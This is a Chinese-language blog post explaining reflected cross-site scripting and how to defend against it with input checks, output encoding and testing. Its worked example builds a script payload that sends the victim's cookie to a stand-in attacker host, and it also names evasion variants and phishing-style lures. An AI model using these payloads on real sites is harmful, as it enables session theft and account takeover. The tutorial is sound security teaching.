• Web Security 01.10.2014

    Cross-Site Scripting (XSS) 介紹與防禦

    這篇文章主要說明 XSS的攻擊流程與方法,

    舉實例說明駭客可以透過怎樣的輸入方式造成XSS,

    最後對於網站安全防護提出建議。

     

    XSS攻擊

    JavaScript Injection, XSS等技巧是駭客最常用來攻擊網站的方法之一,

    這樣的攻擊方法通有三方單位所組成

    • 1. 受攻擊網站 (受害者)
    • 2. 駭客
    • 3. 瀏覽網站使用者 (受害者)

    也就是說,駭客將一段 JavaScript 程式碼注入一個正常網站 (受害者),

    接著等著使用者來瀏覽該受害網頁,以達到駭客所想要的目的

    通常透過社交工程的方式,讓使用者有可能誤點該連結或是不知覺的情況下點選

    例如:中獎通知、您的快遞通知線上簽收….等

    駭客可以透過這樣的方式,執行一段 JavaScript 程式碼,

    駭客的目的不外乎取得使用者上網的隱私資訊、帳號密碼、Cookie、購物資訊等

     

    舉例來說:

    有一個網站為 www.XSS_Vulnerability.com

    駭客實際經過登入 name = Lily Hacker 之後發現 ,

    該登入的過程會發出下列 http request (可用瀏覽器Developer Tool  <F12> 觀察)

     

    GET /login.cgi?name=Lily%20Hacker HTTP/1.0

    Host: www.XSS_vulnerable.com

     

    該網站回覆資訊為

    <HTML>
    <Title>Welcome!</Title>
                  Hi Lily Hacker
    ..
    </HTML>

    因此接下來,駭客便會思考,

    如果該輸入的參數或是網址可以巧妙地修改,輸入給網站,

    那麼回傳的結果是否會有所不同?

     

    舉例來說,在網址列中加入一段 JavaScript 讀取 cookie

    name=<script>alert(document.cookie)</script>

    (註:Cookie通常會存有使用者驗證或是登入資訊)

     

    因此,所送出的網址為:

    http://www.XSS_vulnerable.com/login.cgi?name=

     

    網站回傳的結果有可能變為

    <HTML>
    <Title>Welcome!</Title>

    Hi <script>alert(document.cookie)</script><BR>


    </HTML>

    如此一來,當該網頁回傳時,就會執行該 Javascript,顯示該網站存取的 Cookie

    Cookie Alert

     

     

    再進一步加工,駭客通常會將這樣的 Cookie 傳送至他希望的地方,

    如 www.hacker_Cookie.com,由該網站接受所有的 Cookie

    因此

    name = <script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”+document.cookie)</script>

    經過 URL 編碼之後(  “+” 編碼為 %2B )

    name=<script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”%2Bdocument.cookie)</script>

     

    最後,整個 URL 變為

    http://www.XSS_vulnerable.com/welcome.cgi?name=<script>window.open(“http://www.hacker_Cookie.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

     

    但是,這樣還是很明顯阿? 眼尖的使用者一看就會看到怪怪的網址,www.hacker_Cookie.site

    因此,再進一步加工, 透過社交工程,post  到知名的部落格上

    例如:

    我的網站有問題,可以幫我看一下嗎,點選這裡 (這樣就看不到網址了!)

    您的掛號已送達,請點擊這裡簽收,或是透過寄送email的方式

     

    JavaScript 可以存取哪些資訊呢?

    1. Cookie

    以 Chrome 為操作範例

    Browser > F12 > Resources > Cookie >

    Cookie

    由於 Cookie 多半與登入、認證、Remember Me、設定等有關,

    所以 Cookie 駭客比較有興趣做進一步的分析

     

    2. DOM (HTML) 該網頁上所有相關的資訊

     

    其他JavaScript Injection 方式

    除了 <script>…</script>的方式之外,還有常見的兩種:

    1. <img src=”javascript:…”>:Browser 誤認為 Image 而直接執行,

    同時也間接躲避scanner對於 <script> </script>關鍵字的偵測

    2. <script src=”http://…”>: 當該 URL 很長的時候,特別有包含特殊支援時

     

    XSS網站防護建議

    1. 輸入字元檢查:

    檢查該輸入字串是否含有可疑的 script 語法

    這邊要特別強調的是,XSS的防護不可以儘靠輸入的檢查。

    要有效防止XSS一定要在輸出檢查並且做適當的 Encoding!

    2. 輸出檢查與 Encoding:

    將相關的輸出檢查並且編碼後輸出,避免browser 執行不必要的程式碼。

    也就是將特殊的字元,特別是 < or > 轉換為 &lt or &gt

    • &amp; → & (ampersand, U+0026)
    • &lt; → < (less-than sign, U+003C)
    • &gt; → > (greater-than sign, U+003E)
    • &quot; → ” (quotation mark, U+0022)
    • &apos; → ‘ (apostrophe, U+0027)

    3. 安裝防火牆:

    透過防火牆,在 http communication protocol 過濾相關的 XSS

     

    4. 定期測試與驗證

    可透過簡單下列語法,於網址、各個可以輸入的欄位與變數輸入下列值,

    若該網站有 XSS弱點,就會出現 Test的視窗

    <script>alert(‘test’)</script>

    駭客是如何透過特別的”輸入”躲過輸入檢查呢?

    可參考這篇文章 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

     

     

     

    Posted by Tony @ 11:21 am

    Tags: , , , , , ,

  • Leave a Reply

    Your email address will not be published.